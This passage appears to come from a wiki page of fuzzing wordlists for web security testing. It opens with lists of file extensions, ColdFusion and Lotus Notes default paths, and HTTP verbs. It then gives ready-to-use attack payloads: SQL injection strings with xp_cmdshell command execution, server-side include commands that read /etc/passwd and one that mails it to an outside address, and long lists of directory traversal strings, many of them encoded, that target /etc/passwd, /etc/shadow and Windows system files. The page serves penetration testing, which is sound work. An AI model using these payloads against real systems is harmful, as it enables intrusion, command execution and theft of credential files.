.boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> # Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;<br /> # ll HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: 30 July 2007 - Total Statements: 4) ===<br /> &lt;pre&gt;<br /> # Some server side include statements<br /> # Foobar@email.de<br /> <br /> &amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt;<br /> <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> 